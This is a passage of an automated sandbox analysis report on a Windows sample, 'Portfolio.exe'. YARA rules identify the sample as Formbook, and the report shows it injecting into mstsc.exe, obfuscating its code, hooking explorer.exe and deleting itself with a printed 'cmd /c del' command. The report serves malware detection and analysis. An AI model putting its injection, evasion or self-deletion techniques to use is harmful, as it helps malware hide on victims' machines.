Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C98A0 NtWriteVirtualMemory, 3_2_019C98A0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9820 NtEnumerateKey, 3_2_019C9820
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019CB040 NtSuspendThread, 3_2_019CB040
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019CA3B0 NtGetContextThread, 3_2_019CA3B0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9FE0 NtCreateMutant, 3_2_019C9FE0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019CA710 NtOpenProcessToken, 3_2_019CA710
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9B00 NtSetValueKey, 3_2_019C9B00
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9730 NtQueryVirtualMemory, 3_2_019C9730
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9770 NtSetInformationFile, 3_2_019C9770
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019CA770 NtOpenThread, 3_2_019CA770
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9760 NtOpenProcess, 3_2_019C9760
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9A80 NtOpenDirectoryObject, 3_2_019C9A80
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C96D0 NtCreateKey, 3_2_019C96D0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9610 NtEnumerateValueKey, 3_2_019C9610
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9A10 NtQuerySection, 3_2_019C9A10
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9650 NtQueryValueKey, 3_2_019C9650
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C9670 NtQueryInformationProcess, 3_2_019C9670
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9910 NtAdjustPrivilegesToken,LdrInitializeThunk, 14_2_050C9910
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9540 NtReadFile,LdrInitializeThunk, 14_2_050C9540
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C99A0 NtCreateSection,LdrInitializeThunk, 14_2_050C99A0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C95D0 NtClose,LdrInitializeThunk, 14_2_050C95D0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9840 NtDelayExecution,LdrInitializeThunk, 14_2_050C9840
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9860 NtQuerySystemInformation,LdrInitializeThunk, 14_2_050C9860
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9710 NtQueryInformationToken,LdrInitializeThunk, 14_2_050C9710
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9780 NtMapViewOfSection,LdrInitializeThunk, 14_2_050C9780
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9FE0 NtCreateMutant,LdrInitializeThunk, 14_2_050C9FE0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9650 NtQueryValueKey,LdrInitializeThunk, 14_2_050C9650
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9A50 NtCreateFile,LdrInitializeThunk, 14_2_050C9A50
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9660 NtAllocateVirtualMemory,LdrInitializeThunk, 14_2_050C9660
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C96D0 NtCreateKey,LdrInitializeThunk, 14_2_050C96D0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C96E0 NtFreeVirtualMemory,LdrInitializeThunk, 14_2_050C96E0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9520 NtWaitForSingleObject, 14_2_050C9520
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050CAD30 NtSetContextThread, 14_2_050CAD30
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9950 NtQueueApcThread, 14_2_050C9950
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9560 NtWriteFile, 14_2_050C9560
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C99D0 NtCreateProcessEx, 14_2_050C99D0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C95F0 NtQueryInformationFile, 14_2_050C95F0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9820 NtEnumerateKey, 14_2_050C9820
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050CB040 NtSuspendThread, 14_2_050CB040
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C98A0 NtWriteVirtualMemory, 14_2_050C98A0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C98F0 NtReadVirtualMemory, 14_2_050C98F0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9B00 NtSetValueKey, 14_2_050C9B00
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050CA710 NtOpenProcessToken, 14_2_050CA710
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9730 NtQueryVirtualMemory, 14_2_050C9730
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9760 NtOpenProcess, 14_2_050C9760
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9770 NtSetInformationFile, 14_2_050C9770
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050CA770 NtOpenThread, 14_2_050CA770
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C97A0 NtUnmapViewOfSection, 14_2_050C97A0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050CA3B0 NtGetContextThread, 14_2_050CA3B0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9A00 NtProtectVirtualMemory, 14_2_050C9A00
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9610 NtEnumerateValueKey, 14_2_050C9610
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9A10 NtQuerySection, 14_2_050C9A10
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9A20 NtResumeThread, 14_2_050C9A20
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9670 NtQueryInformationProcess, 14_2_050C9670
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C9A80 NtOpenDirectoryObject, 14_2_050C9A80
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_03049F40 NtAllocateVirtualMemory, 14_2_03049F40
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_03049E10 NtReadFile, 14_2_03049E10
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_03049E90 NtClose, 14_2_03049E90
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_03049D60 NtCreateFile, 14_2_03049D60
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_03049F3A NtAllocateVirtualMemory, 14_2_03049F3A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_03049E0A NtReadFile, 14_2_03049E0A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_03049E8A NtClose, 14_2_03049E8A
Detected potential crypto function
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 0_2_019EC2B0 0_2_019EC2B0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 0_2_019E9968 0_2_019E9968
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 0_2_01AD38A0 0_2_01AD38A0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 0_2_01AD0040 0_2_01AD0040
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 0_2_01AD0548 0_2_01AD0548
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 0_2_01AD6930 0_2_01AD6930
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 0_2_01AD0006 0_2_01AD0006
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 0_2_01AD0538 0_2_01AD0538
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 0_2_01AD34E8 0_2_01AD34E8
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 0_2_01AD07E8 0_2_01AD07E8
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 0_2_01AD07D8 0_2_01AD07D8
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00401030 3_2_00401030
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0041E91E 3_2_0041E91E
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00402D90 3_2_00402D90
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00409E40 3_2_00409E40
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00409E3B 3_2_00409E3B
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0041CFE6 3_2_0041CFE6
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00402FB0 3_2_00402FB0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B2581 3_2_019B2581
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A525DD 3_2_01A525DD
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0199D5E0 3_2_0199D5E0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198F900 3_2_0198F900
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A52D07 3_2_01A52D07
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01980D20 3_2_01980D20
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019A4120 3_2_019A4120
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A51D55 3_2_01A51D55
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0199B090 3_2_0199B090
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A520A8 3_2_01A520A8
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B20A0 3_2_019B20A0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A528EC 3_2_01A528EC
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0199841F 3_2_0199841F
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A41002 3_2_01A41002
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A4D466 3_2_01A4D466
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BEBB0 3_2_019BEBB0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A51FF1 3_2_01A51FF1
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A4DBD2 3_2_01A4DBD2
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A52B28 3_2_01A52B28
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A522AE 3_2_01A522AE
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A52EF7 3_2_01A52EF7
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019A6E30 3_2_019A6E30
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508F900 14_2_0508F900
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05152D07 14_2_05152D07
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05080D20 14_2_05080D20
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050A4120 14_2_050A4120
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05151D55 14_2_05151D55
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_051525DD 14_2_051525DD
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0509D5E0 14_2_0509D5E0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05141002 14_2_05141002
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0509841F 14_2_0509841F
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0509B090 14_2_0509B090
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B20A0 14_2_050B20A0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_051520A8 14_2_051520A8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_051528EC 14_2_051528EC
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05152B28 14_2_05152B28
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050BEBB0 14_2_050BEBB0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0514DBD2 14_2_0514DBD2
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05151FF1 14_2_05151FF1
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050A6E30 14_2_050A6E30
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_051522AE 14_2_051522AE
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05152EF7 14_2_05152EF7
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0304E91E 14_2_0304E91E
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_03032FB0 14_2_03032FB0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0304CFE6 14_2_0304CFE6
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_03039E3B 14_2_03039E3B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_03039E40 14_2_03039E40
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_03032D90 14_2_03032D90
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\mstsc.exe Code function: String function: 0508B150 appears 35 times
Source: C:\Users\user\Desktop\Portfolio.exe Code function: String function: 0198B150 appears 35 times
PE file contains strange resources
Source: Portfolio.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Sample file is different than original file name gathered from version info
Source: Portfolio.exe Binary or memory string: OriginalFilename vs Portfolio.exe
Source: Portfolio.exe, 00000000.00000000.226189081.0000000000FD2000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameSiteString.exe> vs Portfolio.exe
Source: Portfolio.exe, 00000000.00000002.249960275.0000000003421000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameSimpleUI.dll2 vs Portfolio.exe
Source: Portfolio.exe, 00000000.00000002.265213132.0000000008020000.00000002.00000001.sdmp Binary or memory string: OriginalFilenamemscorrc.dllT vs Portfolio.exe
Source: Portfolio.exe, 00000000.00000002.262888955.0000000007C70000.00000004.00000001.sdmp Binary or memory string: OriginalFilenameDSASignature.dll" vs Portfolio.exe
Source: Portfolio.exe Binary or memory string: OriginalFilename vs Portfolio.exe
Source: Portfolio.exe, 00000003.00000003.249237586.00000000018DF000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs Portfolio.exe
Source: Portfolio.exe, 00000003.00000002.297252158.0000000003693000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamemstsc.exej% vs Portfolio.exe
Source: Portfolio.exe, 00000003.00000002.294010174.0000000000DA2000.00000002.00020000.sdmp Binary or memory string: OriginalFilenameSiteString.exe> vs Portfolio.exe
Source: Portfolio.exe Binary or memory string: OriginalFilenameSiteString.exe> vs Portfolio.exe
Uses 32bit PE files
Source: Portfolio.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Yara signature match
Source: 00000003.00000002.294841079.0000000001620000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.294841079.0000000001620000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000E.00000002.501446234.0000000004E40000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000E.00000002.501446234.0000000004E40000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.293921450.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.293921450.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.294742769.00000000015F0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.294742769.00000000015F0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000E.00000002.500122632.0000000003030000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000E.00000002.500122632.0000000003030000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000E.00000002.501316678.0000000004E10000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000E.00000002.501316678.0000000004E10000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.252926038.00000000045D5000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.252926038.00000000045D5000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.Portfolio.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.Portfolio.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.Portfolio.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.Portfolio.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: Portfolio.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: classification engine Classification label: mal100.troj.evad.winEXE@7/1@5/3
Source: C:\Users\user\Desktop\Portfolio.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Portfolio.exe.log Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6236:120:WilError_01
Source: Portfolio.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\Portfolio.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: Select * from UnmanagedMemoryStreamWrapper WHERE modelo=@modelo;?
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: Select * from Clientes WHERE id=@id;;
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: Select * from Aluguel5Erro ao listar Banco sql-UnmanagedMemoryStreamWrapper.INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: INSERT INTO UnmanagedMemoryStreamWrapper VALUES(@modelo, @fabricante, @ano, @cor);
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: INSERT INTO Itens_Aluguel VALUES(@aluguelID, @aviaoID, @validade);
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: Insert into Clientes values (@nome, @cpf, @rg, @cidade, @endereco, @uf, @telefone);
Source: Portfolio.exe, 00000000.00000002.250046779.0000000003476000.00000004.00000001.sdmp Binary or memory string: INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: Portfolio.exe Virustotal: Detection: 34%
Source: Portfolio.exe ReversingLabs: Detection: 16%
Source: unknown Process created: C:\Users\user\Desktop\Portfolio.exe 'C:\Users\user\Desktop\Portfolio.exe'
Source: C:\Users\user\Desktop\Portfolio.exe Process created: C:\Users\user\Desktop\Portfolio.exe C:\Users\user\Desktop\Portfolio.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\mstsc.exe C:\Windows\SysWOW64\mstsc.exe
Source: C:\Windows\SysWOW64\mstsc.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Portfolio.exe'
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Portfolio.exe Process created: C:\Users\user\Desktop\Portfolio.exe C:\Users\user\Desktop\Portfolio.exe Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Portfolio.exe' Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: Portfolio.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: Portfolio.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: wntdll.pdbUGP source: Portfolio.exe, 00000003.00000003.249066077.00000000017C0000.00000004.00000001.sdmp, mstsc.exe, 0000000E.00000002.501901924.0000000005060000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: Portfolio.exe, mstsc.exe
Source: Binary string: mstsc.pdbGCTL source: Portfolio.exe, 00000003.00000002.296664211.0000000003570000.00000040.00000001.sdmp
Source: Binary string: mstsc.pdb source: Portfolio.exe, 00000003.00000002.296664211.0000000003570000.00000040.00000001.sdmp

Data Obfuscation:

barindex
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 0_2_00FDAE61 push es; ret 0_2_00FDAE62
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 0_2_00FD8051 push ss; ret 0_2_00FD80A6
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 0_2_00FD809B push ss; ret 0_2_00FD80A6
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 0_2_019E04D0 push C0330169h; ret 0_2_019E04E2
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0040E3E2 pushad ; retf 3_2_0040E407
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0041CEB5 push eax; ret 3_2_0041CF08
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_004166B4 push ebp; ret 3_2_00416738
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0041CF6C push eax; ret 3_2_0041CF72
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0041CF02 push eax; ret 3_2_0041CF08
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0041CF0B push eax; ret 3_2_0041CF72
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00DA809B push ss; ret 3_2_00DA80A6
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00DA8051 push ss; ret 3_2_00DA80A6
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_00DAAE61 push es; ret 3_2_00DAAE62
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019DD0D1 push ecx; ret 3_2_019DD0E4
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050DD0D1 push ecx; ret 14_2_050DD0E4
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0303E3E2 pushad ; retf 14_2_0303E407
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0304CF02 push eax; ret 14_2_0304CF08
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0304CF0B push eax; ret 14_2_0304CF72
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0304CF6C push eax; ret 14_2_0304CF72
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_030466B4 push ebp; ret 14_2_03046738
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0304CEB5 push eax; ret 14_2_0304CF08
Source: initial sample Static PE information: section name: .text entropy: 7.95191633624

Hooking and other Techniques for Hiding and Protection:

barindex
Modifies the prolog of user mode functions (user mode inline hooks)
Source: explorer.exe User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8C 0xCE 0xE1
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
